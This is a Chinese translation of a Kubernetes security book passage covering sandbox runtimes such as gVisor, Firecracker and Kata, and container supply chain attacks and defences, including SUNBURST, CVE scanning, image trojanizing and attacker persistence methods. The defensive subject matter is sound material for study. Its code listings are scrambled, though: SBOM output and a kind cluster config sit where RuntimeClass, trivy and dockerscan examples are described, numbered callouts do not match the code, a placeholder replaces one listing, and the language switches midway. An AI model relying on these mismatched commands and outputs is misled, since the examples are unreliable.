      <version>sha256:183257b0183b8c6420f559eb5591885843d30b2</version> ![6](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/6.png)
    </component>
  </metadata>
  <components></components>
</bom>

除非运行在沙箱中的应用程序明确检查环境的这些特性,否则它将不知道自己在沙箱中。你的应用程序与普通的 Linux 内核做同样的系统调用,但是 Sentry 进程拦截这些系统调用,如图 3-13 所示。

image

图 3-13. gVisor 容器组件和权限边界

Sentry 阻止应用程序直接与主机内核交互,并具有seccomp配置文件,限制其可能的主机系统调用。这有助于防止在租户突破 Sentry 并尝试攻击主机内核时的升级。

实现用户空间内核是一项艰巨的任务,它并未覆盖每个系统调用。这意味着一些应用程序无法在 gVisor 中运行,尽管实际情况下这种情况并不经常发生,在 Google Cloud Platform 的 gVisor 下运行着数百万的工作负载。

Sentry 有一个名为 Gofer 的附属进程。它处理磁盘和设备,这些设备通常是常见的虚拟机攻击向量。分离这些责任增加了你的抵抗力;如果 Sentry 存在漏洞,它无法直接攻击主机设备,因为所有设备都通过 Gofer 代理。

注意

gVisor 使用Go编写,以避免可能影响内核安全性的问题。Go 是强类型语言,具有内置的边界检查,没有未初始化的变量,没有使用后释放的 bug,没有栈溢出 bug,并内置了竞态检测器。然而,使用 Go 也面临挑战,而运行时通常会引入一些性能开销。

然而,这种方式的代价是降低了一些应用程序的兼容性,并增加了每个系统调用的开销。当然,并不是所有的应用程序都会大量使用系统调用,因此这取决于使用方式。

应用程序系统调用通过平台系统调用切换器重定向到 Sentry,在应用程序尝试向内核进行系统调用时拦截应用程序。然后 Sentry 为容器化进程向宿主进行所需的系统调用,如图 3-14 所示。这种代理方式阻止了应用程序直接控制系统调用。

image

图 3-14. gVisor 容器组件和权限级别

Sentry 在一个循环中等待应用程序生成系统调用,如图 3-15 所示。

image

图 3-15. gVisor sentry 伪代码;来源:资源共享

它使用 ptrace 捕获系统调用,处理并返回响应给进程(通常无需向宿主进行预期的系统调用)。这种简单模型保护了底层内核免受容器内部进程的直接交互。

减少的允许调用次数如图 3-16 所示,限制了底层宿主内核的可利用接口为 68 个系统调用,而容器化应用程序进程则认为它可以访问所有约 350 个内核调用。

平台系统调用切换器,gVisor 的系统调用拦截器,有两种模式:ptrace 和 KVM。ptrace(“进程跟踪”)系统调用提供了一种机制,让父进程观察和修改另一个进程的行为。PTRACE_SYSEMU 强制跟踪的进程在进入下一个系统调用时停止,并且 gVisor 能够对其作出响应或者通过 Gofer 代理请求到宿主内核进行处理。

image

图 3-16. gVisor 系统调用层次结构

Firecracker

Firecracker 是一个虚拟机监视器(VMM),它使用 KVM 为其客户端启动专用 VM。与使用 KVM 的传统设备仿真配对 QEMU 不同,Firecracker 实现了自己的内存管理和设备仿真。它没有 BIOS(而是实现了 Linux Boot Protocol),不支持 PCI,并且简化了虚拟化设备,仅具有单个网络设备、块 I/O 设备、定时器、时钟、串行控制台和键盘设备,仅模拟 Ctrl-Alt-Del 以重置 VM,如图 3-17 所示。

image

图 3-17. Firecracker 与 KVM 交互;来源:资源共享

启动客户端虚拟机的 Firecracker VMM 进程又由 jailer 进程启动。 jailer 配置 VMM 沙箱的安全配置(GID 和 UID 分配、网络命名空间、创建 chroot、创建 cgroups),然后终止并将控制权传递给 Firecracker,在客户端内核和启动的用户空间周围执行 seccomp

Firecracker 不像 gVisor 那样使用第二进程进行 I/O,而是使用 KVM 的 virtio 驱动程序通过 VMM(如 图 3-18 中所示)从客户端的 Firecracker 进程代理到主机内核。当 Firecracker VM 镜像启动时,它会在客户端内核的保护模式下启动,永远不会在其真实模式下运行。

image

图 3-18. Firecracker 将客户端内核与主机隔离
提示

Firecracker 可与 Kubernetes 和 OCI 兼容,使用 firecracker-containerd shim

一旦启动,Firecracker 比传统的 LXC 或 gVisor 调用更少的主机内核代码,尽管它们在启动其沙箱时都会触及类似数量的内核代码。

通过隔离内存栈和将数据延迟刷新到页缓存而不是磁盘,提高文件系统性能。它支持任意 Linux 二进制文件,但不支持通用 Linux 内核。它是为 AWS Lambda 服务创建的,是从 Google 的 ChromeOS VMM,crosvm 中分叉出来的:

crosvm 的独特之处在于其专注于编程语言内的安全性,并在虚拟设备周围创建沙箱,以保护内核免受设备漏洞利用的攻击。

Chrome OS 虚拟机监视器

Firecracker 是一个静态链接的 Rust 二进制文件,与 Kata Containers、Weave Ignitefirekubefirecracker-containerd 兼容。它提供软分配(直到实际使用时才分配内存)以实现更激进的“二进制包装”,从而实现更高的资源利用率。

Kata Containers

最后,Kata Containers 包含一个轻量级虚拟机,其中包含一个容器引擎。它们被高度优化以运行容器。它们也是最古老、最成熟的最新沙箱技术之一。它们兼容性广泛,支持大多数容器编排器。

Kata Containers(图 3-19)从 Intel Clear Containers 和 Hyper.sh RunV 的组合中发展而来,用一个专用的 KVM 虚拟机包装容器,并从可插拔后端(QEMU、QEMU-lite、NEMU(一种定制的精简 QEMU)、或 Firecracker)进行设备仿真。它是一个 OCI 运行时,因此支持 Kubernetes。

image

图 3-19. Kata Containers 架构

Kata Containers 运行时在客户机 Linux 内核上启动每个容器。每个 Linux 系统都在其自己的硬件隔离 VM 上,正如您在图 3-20 中所见。

kata-runtime进程是 VMM,也是 OCI 运行时的接口。kata-proxy通过 KVM 的virtio-serial处理kata-agent(因此也处理应用程序)的 I/O,并在同一连接上多路复用命令通道。

kata-shim是容器引擎的接口,处理容器的生命周期、信号和日志。

image

图 3-20。Kata Containers 组件

客户机使用 KVM 和 QEMU 或 Firecracker 启动。该项目曾两次分支 QEMU 以尝试轻量级启动时间,并重新实现了一些功能到 QEMU,现在 QEMU 已优先于 NEMU(最近的分支)。

在 VM 内部,QEMU 引导了一个优化过的内核,systemd启动了kata-agent进程。kata-agent使用libcontainer管理在 VM 内部运行的容器,并与runc共享大量代码。

网络由集成 CNI(或 Docker 的 CNM)提供,并为每个 VM 创建一个网络命名空间。由于其网络模型,无法加入主机网络。

SELinux 和 AppArmor 目前未实现,并且某些 OCI 不一致性限制了 Docker 集成

rust-vmm

许多新的 VMM 技术都有一些 Rustlang 组件。那么,Rust 是否好用呢?

它与 Golang 类似,具有内存安全性(内存模型、virtio 等),但建立在内存所有权模型之上,避免了包括释放后使用、双重释放和悬空指针问题在内的整类错误。

它具有安全且简单的并发性,没有垃圾收集器(可能会带来一些虚拟化开销和延迟),而是使用构建时分析来发现分段错误和内存问题。

rust-vmm是一个新的 VMM 开发工具包,如图 3-21 所示。它由虚拟化组件构成的一组构建块(Rust 包或“crate”)组成。这些组件经过了充分测试(因此更安全),并提供了简单、干净的接口。例如,vm-memory crate 是一个客户端内存抽象,提供客户端地址、内存区域和客户端共享内存。

image

图 3-21。Kata Containers 组件;来源:资源共享

该项目起源于 ChromeOS 的cross-vmcrosvm),后来被 Firecracker 分支,并被抽象为“从头开始”的 Rust crate 虚拟化管理程序。这种方法将支持即插即用的 Hypervisor 架构的开发。

注意

要了解运行时是如何构建的,您可以查看Youki。它是一个用 Rust 编写的实验性容器运行时,实现了runcruntime-spec

风险沙箱化

客户进程对主机功能或其虚拟化版本的访问权限和特权程度会影响攻击者在控制客户进程时可用的攻击面。

这些新的沙盒技术正在积极开发中。它是代码,像所有新代码一样,存在可利用的漏洞风险。然而,这是软件的事实,远比完全没有新软件要好得多!

可能这些沙盒尚未成为攻击目标。创新程度和基础知识的要求意味着进入门槛较高。Hashjack 船长可能会优先选择更容易的目标。

从管理员的角度来看,在沙盒中修改或调试应用程序会稍微复杂一些,类似于裸金属和容器化进程之间的区别。这些困难并非不可克服,但需要管理员熟悉底层运行时。

仍然可以运行特权沙盒,在客户中具有提升的功能。尽管与特权容器相比风险较少,但用户应注意,任何隔离减少都会增加在沙盒内运行进程的风险。

Kubernetes 运行时类

Kubernetes 和 Docker 支持同时运行多个容器运行时;在 Kubernetes 中,Runtime Class从 v1.20 版本开始稳定。这意味着 Kubernetes 工作节点可以托管在不同容器运行时接口(CRIs)下运行的 Pod,极大地增强了工作负载的隔离性。

使用spec.template.spec.runtimeClassName可以通过 CRI 为 Kubernetes 工作负载目标指定一个沙盒。

Docker 能够运行任何符合 OCI 标准的运行时(例如runcrunsc),但 Kubernetes 使用 CRI。尽管 Kubernetes 尚未区分沙盒类型,我们仍然可以设置节点亲和性和容忍度,以便将 Pod 调度到已安装相关沙盒技术的节点上。

要在 Kubernetes 中使用新的 CRI 运行时,请创建一个非命名空间的RuntimeClass

user@host:~ [0]$ syft packages alpine:latest -o cyclonedx
 ✔ Loaded image
 ✔ Parsed image
 ✔ Cataloged packages      [14 packages]
<?xml version="1.0" encoding="UTF-8"?>
<bom xmlns="http://cyclonedx.org/schema/bom/1.2"
     version="1" serialNumber="urn:uuid:086e1173-cfeb-4f30-8509-3ba8f8ad9b05">
  <metadata>
    <timestamp>2021-05-30T19:17:40+01:00</timestamp>
    <tools>
      <tool>
        <vendor>anchore</vendor>
        <name>syft</name>
        <version>0.16.1</version>
      </tool>
    </tools>
    <component type="container">
      <name>alpine:latest</name>
      <version>sha256:d96af464e487874bd504761be3f30a662bcc93be7f70bf</version>
    </component>
  </metadata>
  <components>
  ...
  <component type="library">
      <name>musl</name>
      <version>1.1.24-r9</version>
      <licenses>
        <license>
          <name>MIT</name>
        </license>
      </licenses>
      <purl>pkg:alpine/musl@1.1.24-r9?arch=x86_64</purl>
    </component>
  </components>
</bom>

然后在 Pod 定义中引用 CRI 运行时类:

[PRE6]

使用gvisor启动了一个新的 Pod。请记住,Pod 所在的节点上必须安装runsc(gVisor 的运行时组件)。

结论

通常沙盒更安全,容器则较为简单。

在运行敏感或不受信任的工作负载时,您希望缩小沙盒进程与主机之间的接口。这里有一些权衡——调试一个恶意进程变得更加困难,传统的跟踪工具可能不太兼容。

沙盒与容器相比有一般性的性能开销(启动时间约为 50-200ms),对某些工作负载可能是可以忽略不计的,强烈建议进行基准测试。选项也可能受平台或嵌套虚拟化选项的限制。

随着下一代运行时专注于剥离传统兼容性,它们非常小且启动速度非常快(与传统虚拟机相比)—虽然不及 LXC 或runc快,但对于 FaaS 提供商来说足够快速扩展规模。

注意

传统的容器运行时,如 LXC 和runc,启动速度更快,因为它们在现有内核上运行进程。沙箱需要配置自己的客户内核,这导致启动时间稍长。

管理服务最易于采用,GKE 中的 gVisor 和 AWS Fargate 中的 Firecracker。它们两者,以及 Kata,将在任何支持虚拟化的地方运行,并且未来光明,rust-vmm库承诺提供更多运行时以确保有价值的工作负载安全。

在沙箱中将最敏感的工作负载隔离在专用节点上,可以使您的系统对实际妥协具有最大的抵抗力。

第四章:应用程序与供应链

SUNBURST供应链妥协是通过一个合法签名的、被篡改的服务器监控代理软件进行的恶意入侵,入侵了美国政府和财富 500 强的网络。Cozy Bear 黑客团体使用本章节描述的技术同时攻击了许多百亿美元公司。攻击者优先攻击高价值目标,所以较小的组织可能逃过了这场可能具有毁灭性后果的入侵。

攻击者针对的组织遭受了数据损失,并可能成为进一步攻击其客户的跳板。这是“信任”供应链的基本风险:一旦你受到侵害,消费你产品的任何人都可能成为潜在目标。利用已建立的信任关系,恶意软件被误信任。

经常存在已有漏洞却没有相应软件补丁或解决方案的情况。Palo Alto 的研究发现,80%的新公开漏洞存在这种情况。在所有正在运行的软件中,拒绝恶意行为者访问您的内部网络是首要防线。

SUNBURST 攻击感染了 SolarWinds 的构建流水线,并在构建之前立即更改了源代码,然后隐藏了篡改的证据,并确保二进制文件由 CI/CD 系统签名,以便消费者信任它。

这些技术在Mitre ATT&CK Framework上以前未见过,并且这些攻击使网络遭受了军事、政府和公司秘密的损失 —— 这些都是初始供应链攻击的后果。防止肮脏狡猾的 Hashjack 船长及其同伙通过任何依赖(库、工具或其他)秘密进入组织的网络是供应链安全的工作:保护我们的来源。

captain

在本章中,我们通过查看一些历史问题及其被利用的方式来深入研究供应链攻击,然后看看容器如何既有益地隔离,又如何危险地加剧供应链风险。在“抵御 SUNBURST”中,我们会问:我们是否能够保护云原生系统免受 SUNBURST 的侵害?

对于像 Hashjack 船长这样的职业罪犯来说,供应链为攻击 BCTL 的系统提供了一个新的入侵向量:通过代理攻击来获得对您系统的信任访问。这意味着攻击容器软件供应链以获取对易受攻击工作负载和服务器的远程控制,并在整个组织中串联利用漏洞和后门。

默认值

除非有针对性地加以防范和减轻,供应链攻击相对来说是比较简单的:它们影响到我们系统中信任的部分,这些部分通常我们不会直接观察到,比如我们供应商的 CI/CD 模式。

正如我们将在本章中讨论的那样,这是一个复杂的问题。随着对抗性技术的发展和云原生系统的适应,你会看到供应链风险在开发、测试、分发和运行时如何转变。

威胁模型

大多数应用程序默认情况下不是强化的,你需要花时间来确保它们安全。OWASP 应用安全验证标准 提供应用程序安全(AppSec)指导,我们不会进一步探讨,除了说:你不希望通过运行过时或错误的软件来简化攻击者的生活。对所有运行的软件进行严格的逻辑和安全测试至关重要。

从你的开发人员的编码风格和网页应用程序安全标准,到容器内部的一切供应链。需要工程化的努力来使它们安全,并确保在更新时它们仍然是安全的。

SDLC 中的依赖项特别容易受到攻击,并为 Hashjack 队长提供运行一些恶意代码(“有效负载”)的机会:

  • 在安装时(可能以 root 用户身份运行的包管理器钩子)

  • 在开发和测试期间(IDE、构建和执行测试)

  • 在运行时(本地、开发、暂存和生产 Kubernetes 容器)

当有效负载正在执行时,它可能会向文件系统写入更多代码或从互联网上拉取恶意软件。它可能会在开发者的笔记本电脑、CI 服务器或生产环境中搜索数据。任何被窃取的凭证都形成攻击的下一个阶段。

应用程序并非唯一面临风险的软件:随着基础设施、策略和安全定义为代码,攻击者可以渗透的任何系统的脚本化或自动化点都必须被考虑进来,并因此被纳入你的威胁模型的范围内。

供应链

软件供应链(图 4-1)考虑你的文件移动:源代码、应用程序、数据。它们可能是明文、加密的、存储在软盘上或者云端。

供应链存在于任何由其他事物构建的东西上——也许是人类摄入的食品、药物,使用的 CPU、汽车,或者与之交互的操作系统、开源软件。任何货物的交换都可以建模为供应链,而某些供应链则是庞大而复杂的。

haku 0401

图 4-1. 一个供应链的网络;改编自 https://oreil.ly/r9ndi

每个你使用的依赖项都有可能是一个恶意植入物,等待执行时触发,以部署其有效负载。容器供应链很长,可能包括:

  • 基础镜像

  • 已安装的操作系统软件包

  • 应用程序代码和依赖项

  • 公共 Git 仓库

  • 开源工件

  • 任意文件

  • 可能添加的任何其他数据

如果在供应链的任何步骤中添加了恶意代码,它可能会加载到运行中的 Kubernetes 集群中的可执行内存中。这是 Captain Hashjack 使用恶意负载的目标:将坏代码偷偷藏进您信任的软件中,并利用它从组织内部边界发动攻击,在这里您可能没有像在“边界”外那样有效地保护系统,以防止攻击者进入。

供应链的每个链接都有生产者和消费者。在 表 4-1 中,CPU 芯片生产者是制造商,下一个消费者是分销商。在实践中,每个供应链阶段可能有多个生产者和消费者。

表 4-1. 不同类型的供应链示例

农场食品 CPU 芯片 一个开源软件包 您组织的服务器
原始生产者 农民(种子、饲料、收割机) 制造商(原材料、制造工厂、固件) 开源包开发者(创意、代码) 开源软件,内部 CI/CD 构建的原始源代码
(链接至) 分销商(销售给商店或其他分销商) 分销商(销售给商店或其他分销商) 仓库维护者(npm, PyPi 等) 签名代码构件通过网络推送到面向生产的注册表
(链接至) 当地食品店 供应商或当地电脑店 开发人员 存储在注册表中准备部署的构件
链接至最终消费者 终端用户 终端用户 终端用户 部署到生产系统的最新构件

供应链中任何不在您直接控制下的阶段都可能受到攻击(图 4-2)。任何“上游”阶段的妥协——例如您所消费的阶段——可能会影响您作为下游消费者。

例如,一个开源软件项目(图 4-3)可能有三个贡献者(或“信任的生产者”),他们有权限将外部代码贡献合并到代码库中。如果这些贡献者中的任何一个密码被窃取,攻击者可以向项目添加自己的恶意代码。然后,当您的开发人员将该依赖项引入其代码库时,他们会在内部系统上运行攻击者的恶意代码。

供应链之间的相似性

图 4-2. 供应链之间的相似性

开源供应链攻击

图 4-3. 开源供应链攻击

但妥协不一定是恶意的。就像 npm event-stream 漏洞 一样,有时候只是像某人希望将维护权转交给现有和可信的维护者,但后者却变成了内鬼并插入了自己的恶意负载。

注意

在这种情况下,event-stream包存在漏洞被下载了 1200 万次,被 1600 多个其他包所依赖。恶意载荷搜索“热门加密货币钱包”以窃取开发者机器上的内容。如果这些恶意代码窃取了 SSH 和 GPG 密钥并用于进一步传播攻击,那么危害可能会更大。

成功的供应链攻击通常难以检测,因为消费者信任每个上游生产者。如果一个生产者受到攻击,攻击者可能会针对个别下游消费者或仅选择最高价值的目标。

软件

就我们的目的而言,我们消耗的供应链是软件和硬件。在云环境中,数据中心的物理和网络安全由提供者管理,但确保系统使用安全则是您的责任。这意味着我们对使用的硬件有很高的信心是安全的。我们安装的软件及其行为——这是我们供应链风险的起点。

软件由许多其他软件组件构建而成。与 CPU 制造不同,那里是将惰性组件组装成结构,软件更像是一个共生的合作生物群体。每个组件可能是自主的并选择合作(CLI 工具、服务器、操作系统),或者在特定方式下才有用(glibc、链接库、大多数应用程序依赖)。任何软件都可能是自主的或合作的,并且无法在任何时刻明确证明其是哪种。这意味着测试代码(单元测试、验收测试)仍可能包含恶意代码,该代码将开始探索持续集成(CI)构建环境或执行它的开发者机器。

这造成了一个难题:如果恶意代码可以隐藏在系统的任何部分,我们怎么能确切地说整个系统是安全的呢?

正如 Liz Rice 在《容器安全》(O'Reilly)中指出的:

任何非平凡软件部署很可能包含一些漏洞,通过这些漏洞系统可能会遭受攻击风险。为了管理这种风险,您需要能够识别存在的漏洞并评估其严重程度,优先处理它们,并制定相关流程来修复或减轻这些问题。

软件供应链管理是困难的。它要求您接受一定程度的风险,并确保在软件执行之前能够检测到危险的软件,并采取合理的措施来减轻这些风险。这种风险与回报递减相平衡——随着每个控制措施的增加,构建变得更昂贵、更难维护,每一步的开销也更高。

警告

在没有详细控制的情况下,您对供应链的完全信任几乎是不可能的,这一点在 CNCF 安全技术咨询组关于软件供应链安全的文件中有详细说明(本章后面会讨论)。

如往常一样,您假设没有完全有效的控制,并在构建机器上运行入侵检测,作为对目标或广泛零日漏洞(如 SUNBURST、Shellshock 或 DirtyCOW)的最后防线。

现在让我们看看如何保护软件供应链,从最小可行的云原生安全开始:扫描 CVE。

CVE 扫描

已公布已知漏洞的 CVE,通过忽视或未能修补它们,您会使 Hashjack 船长的可怕船员轻易访问您的系统变得更加困难。开源软件在其构建说明(如pom.xmlpackage.jsongo.modrequirements.txtGemfile等)中列出其依赖关系,这使我们能够看到其组成。这意味着您应该使用诸如trivy之类的工具扫描这些依赖项中的 CVE。这是保护供应链中最容易解决的问题,并应被视为最小可行容器安全流程的一部分。

trivy 可以在各处休息的代码中进行扫描:

  • 在容器镜像中

  • 在文件系统中

  • 在 Git 存储库中

它会报告已知的漏洞。扫描 CVE 是向生产发布代码的最低可行安全性。

这个命令扫描本地目录,查找gomodnpm的依赖文件,并报告它们的内容(输出已编辑):

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: InitConfiguration
    nodeRegistration:
      kubeletExtraArgs:
        node-labels: "ingress-ready=true" ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  extraPortMappings:
  - containerPort: 80
    hostPort: 80
    protocol: TCP
  - containerPort: 443
    hostPort: 443
    protocol: TCP
- role: worker
networking:
  disableDefaultCNI: true ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  podSubnet: 192.168.0.0/16 ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)

1

运行 trivy 来针对当前工作目录(.)中的文件系统(fs)进行扫描。

2

扫描发现infra/build/go.sum中有两个高危漏洞。

3

infra/api/code/package-lock.json没有检测到漏洞。

因此,我们可以扫描供应链中的代码,查看其是否具有易受攻击的依赖关系。但是代码本身呢?

摄取开源软件

安全地摄取代码很难:我们如何证明容器镜像是从我们在 GitHub 上看到的相同源代码构建的?或者编译的应用程序是我们阅读的相同开源代码,而不是重新从源代码构建的?

尽管开源很难,封闭源码面临的挑战更大。

如何建立和验证与供应商的信任关系?

令船长大为失望的是,自 1983 年 Ken Thompson 引入“Reflections on Trusting Trust”以来,这个问题一直被研究:

一个程序没有特洛伊木马的声明有多值得信任?也许更重要的是要信任编写软件的人。

信任的问题支撑着许多人类互动,并是原始互联网的基础。Thompson 继续道:

结论很明显。您不能信任您完全没有自己创建的代码。(尤其是来自雇佣像我这样的人的公司的代码。)无论进行多少源代码级别的验证或审查,都无法保护您免受使用不受信任代码的危害…… 随着程序级别的降低,这些错误将变得越来越难以检测。一个良好安装的微码错误几乎不可能被检测到。

这些关于安全的哲学问题影响着您组织的供应链,以及您的客户。核心问题仍未解决,难以完全纠正。

虽然 BCTL 与软件的传统关系以前被定义为消费者,但当您在 GitHub 上开始公开开源时,您也成为了生产者。这种区别在今天的大多数企业组织中存在,因为大多数企业组织尚未适应其新的生产者责任。

我们信任哪些生产者?

要确保供应链安全,我们必须信任我们的生产者。这些是您组织之外的各方,可能包括:

  • 安全提供者,如根证书颁发机构用于验证网络上的其他服务器,以及 DNSSEC 用于返回我们传输的正确地址

  • 加密算法和实现,如 GPG、RSA 和 Diffie-Hellman 用于保护我们的数据在传输和静止时

  • 硬件启用者,如操作系统、CPU/固件和驱动程序供应商,为我们提供低级硬件交互

  • 应用程序开发人员和软件包维护人员防止通过其分发的软件包安装恶意代码

  • 开源和社区运营的团队、组织和标准机构,为了增长我们的技术和社区的共同利益

  • 供应商、分销商和销售代理不得安装后门或恶意软件

  • 每个人——不要有可利用的漏洞

您可能会想知道是否有可能完全保护这一切,答案是否定的。没有什么是完全安全的,但可以加固以使其对除了最熟练的威胁行为者之外的所有人都不那么吸引。关键在于平衡各种安全控制层,可能包括:

  • 物理第二因素(2FA)

    • GPG 签名(例如,Yubikeys)

    • WebAuthn、FIDO2 项目和物理安全令牌(例如,RSA)

  • 人类冗余

    • 作者不能合并自己的 PR

    • 添加第二人员对关键流程进行签署

  • 通过在不同环境中运行相同的流程两次并比较结果来进行复制

CNCF 安全技术咨询组

CNCF 安全技术咨询组(tag-security)发布了一份权威的 软件供应链安全论文。为了深入和沉浸式地了解这一领域,强烈建议阅读:

它评估了许多可用工具,并为供应链安全定义了四个关键原则以及每个原则的步骤,包括:

  1. 信任:供应链中的每一步都应该是“值得信赖的”,这是由加密证明和验证的组合实现的。
  2. 自动化:自动化对于供应链安全至关重要,可以显著减少人为错误和配置漂移的可能性。
  3. 清晰度:供应链中使用的构建环境应该明确定义,范围有限。
  4. 互相认证:在供应链环境中运作的所有实体都必须使用硬化的认证机制进行互相认证,并定期更换密钥。

软件供应链最佳实践,标签安全

然后涵盖供应链安全的主要部分:

  1. 源代码(您的开发人员编写的内容)

  2. 材料(应用程序及其环境的依赖关系)

  3. 构建流水线(用于测试和构建您的应用程序)

  4. 人工制品(您的应用程序加上测试证据和签名)

  5. 部署(您的消费者如何访问您的应用程序)

如果您的供应链在这些点中的任何一个受到损害,您的消费者也可能受到损害。

为弹性设计容器化应用程序

在设计和构建系统时,您应该采用对抗性思维,以便安全考虑被纳入其中。这种思维的一部分包括学习历史漏洞,以便防御自己免受类似攻击。

容器的细粒度安全策略是重新考虑应用程序作为“默认受损”的机会,并对其进行配置,使其更好地受到保护,以防止零日漏洞或未修补的漏洞。

注意

这样一个历史性漏洞是 DirtyCOW:Linux 内核特权内存映射代码中的竞争条件,允许非特权本地用户升级为 root。

该漏洞允许攻击者在主机上获得 root shell,并且可以从未阻止ptrace的容器内进行利用。其中一位作者通过一个阻止ptrace系统调用的 AppArmor 配置文件现场演示了防止 DirtyCOW 容器越狱。有一个示例 Vagrantfile 可以在Scott Coulton 的存储库中复现该漏洞。

检测木马

dockerscan这样的工具可以木马化一个容器:

木马化:向 docker 镜像注入一个反向 shell

dockerscan

注意

我们将在“哈希杰克船长攻击供应链”中更详细地讨论攻击软件和库。

要使webserver镜像植入木马很简单:

$ kind create cluster --name cnnp \
  --config cluster-config.yaml

Creating cluster "cnnp" ...

1

从容器镜像中导出一个有效的webserver tarball。

2

木马化镜像 tarball。

3

指定攻击者的 shellcatcher IP 和端口。

4

写入名为 trojanized-webserver 的输出压缩包。

您应该扫描您的容器镜像以检测和防止这种类型的攻击。正如 dockerscan 使用的 LD_PRELOAD 攻击,大多数容器 IDS 和扫描应该能够检测到。

软件的动态分析涉及在恶意软件实验室环境中运行它,该环境无法与互联网通信,并观察其是否存在 C2(“命令与控制”)迹象、自动化攻击或意外行为。

注意

像 WannaCry 这样的恶意软件(一种加密锁定蠕虫)包括一个禁用“杀死开关” DNS 记录(有时由恶意软件作者秘密使用以远程终止攻击)。在某些情况下,这用于延迟部署恶意软件,直到攻击者方便的时间。

一个构件及其运行时行为应该形成对单个软件包可信度的图片,但存在变通方法。逻辑炸弹(仅在特定条件下执行的行为)使得检测变得困难,除非已知逻辑。例如,SUNBURST 密切模仿了其感染的软件的有效 HTTP 调用。即使使用诸如 sysdig 之类的工具跟踪被感染应用,也无法清楚地表现出这种类型的攻击。

Hashjack 船长攻击供应链

船长

您知道 BCTL 没有在供应链安全方面投入足够的努力。开源摄入没有受到监管,开发人员忽略了流水线中的 CVE 扫描结果。

无情海盗 Hashjack 打扫了一下键盘,开始攻击。目标是向容器镜像、开源包或操作系统应用程序添加恶意代码,以便您的团队在生产环境中运行。

在这种情况下,Hashjack 船长试图从初始的 pod 攻击的立足点攻击您的其他系统。当恶意代码在您的 pod 内运行时,它将连接回船长控制的服务器。该连接将传递攻击命令,在您的集群中此类 pod 内运行,以便海盗们可以四处查看,如图 4-4 所示。

从这个远程控制的位置,Hashjack 船长可能会:

  • 列举集群周围的其他基础设施,如数据存储和内部面向软件

  • 尝试提升权限并接管您的节点或集群

  • 挖掘加密货币

  • 将 pod 或节点添加到僵尸网络中,将其用作服务器或“诱饵站点”来传播恶意软件

  • 对您的未被破坏的系统进行任何其他意外滥用。

建立远程访问与供应链妥协

图 4-4. 建立远程访问与供应链妥协

开源安全基金会 (OpenSSF)SLSA 框架(“软件构件的供应链安全级别”,或 “Salsa”)基于 “实现理想安全状态可能需要多年,中间的里程碑很重要” 的原则。它定义了一种分级方法,用于为您的构建采用供应链安全(见 表 4-2)。

表格 4-2. OpenSSF SLSA 级别

等级 描述 要求
0 无任何保证 SLSA 0 代表完全没有 SLSA 级别。
1 源检查以帮助评估风险和安全性 构建过程必须完全脚本化/自动化,并生成来源审计。
2 进一步对软件来源进行检查 需要使用版本控制和托管构建服务生成经过身份验证的来源。这将导致构建服务的防篡改性。
3 对特定类威胁的额外抵抗力 源和构建平台符合特定标准,以保证源的审计性和来源的完整性。高级保护包括主机上的安全控制、不可伪造的来源、以及防止跨构建污染。
4 最高的信任和可信度级别 严格的审计和可靠性检查。所有变更都需要两人审核,并采用封闭的、可重现的构建过程。

让我们进入后续步骤。

受损后持久性

在攻击者执行可能被防御者检测到的操作之前,他们寻求建立持久性或后门,这样,例如如果被发现或被强制驱逐,他们可以进入系统,因为他们的入侵方法已被修补。

注意

当容器重新启动时,文件系统的更改会丢失,因此仅通过向容器文件系统写入来实现持久性是不可能的。在 Kubernetes 中放置“后门”或其他持久性机制需要攻击者使用 Kubernetes 的其他部分或主机上的 kubelet,因为他们在容器内写入的任何内容在重新启动时都会丢失。

依据您的受损情况,哈希杰克船长现在有多种选择。在配置良好的容器中,没有过度的 RBAC 权限,这些都是不可能的,尽管这并不阻止攻击者再次利用相同的路径并试图转向系统的另一部分。

Kubernetes 可能通过以下方式获得持久性:

  • 通过 kubelet 的静态清单启动静态特权 Pod

  • 直接使用容器运行时部署特权容器

  • 部署带后门的准入控制器或 CronJob

  • 部署具有自定义认证的影子 API 服务器

  • 在一些新的 Pod 中添加注入后门容器的变异 Webhook

  • 将工作节点或控制平面节点添加到僵尸网络或 C2 网络

  • 编辑容器生命周期的 postStartpreStop 钩子以添加后门

  • Editing liveness probes to exec a backdoor in the target container

  • Any other mechanism that runs code under the attacker’s control

Risks to Your Systems

Once they have established persistence, attacks may become more bold and dangerous:

  • Exfiltrating data, credentials, and cryptocurrency wallets

  • Pivoting further into the system via other pods, the control plane, worker nodes, or cloud account

  • Cryptojacking compute resources (e.g., mining Monero in Docker containers)

  • Escalating privilege in the same pod

  • Cryptolocking data

  • Secondary supply chain attack on target’s published artifacts/software

Let’s move on to container images.

Container Image Build Supply Chains

Your developers have written code that needs to be built and run in production. CI/CD automation enables the building and deployment of artifacts, and is a traditionally appealing target due to less security rigor than the production systems it deploys to.

To address this insecurity, the Software Factory pattern is gaining adoption as a model for building the pipelines to build software.

Software Factories

A Software Factory is a form of CI/CD that focuses on self-replication. It is a build system that can deploy copies of itself, or other parts of the system, as new CI/CD pipelines. This focus on replication ensures build systems are repeatable, easy to deploy, and easy to replace. They also assist iteration and development of the build infrastructure itself, which makes securing these types of systems much easier.

Use of this pattern requires slick DevOps skills, continuous integration, and build automation practices, and is ideal for containers due to their compartmentalised nature.

Tip

The DoD Software Factory pattern defines the Department of Defense’s best practice ideals for building secure, large-scale cloud or on-prem cloud native infrastructure.

Container images built from, and used to build, the DoD Software Factory are publicly available at IronBank GitLab.

Cryptographic signing of build steps and artifacts can increase trust in the system, and can be revalidated with an admission controller such as portieris for Notary and Kritis for Grafeas.

Tekton is a Kubernetes-based build system that runs build stages in containers. It runs Kubernetes Custom Resources that define build steps in pods, and Tekton Chains can use in-toto to sign the pod’s workspace files. Jenkins X is built on top of it and extends its feature set.

Tip

Dan Lorenc elegantly summarised the supply chain signing landscape.

Blessed Image Factory

有些软件工厂流水线用于构建和扫描您的基础镜像,方式与构建虚拟机镜像相同:按一定节奏进行,并响应底层镜像的发布。如果构建的任何输入都不可信,则图像构建是不可信的。攻击者可以利用容器构建进行攻击:

  • RUN 指令中的恶意命令可以攻击主机

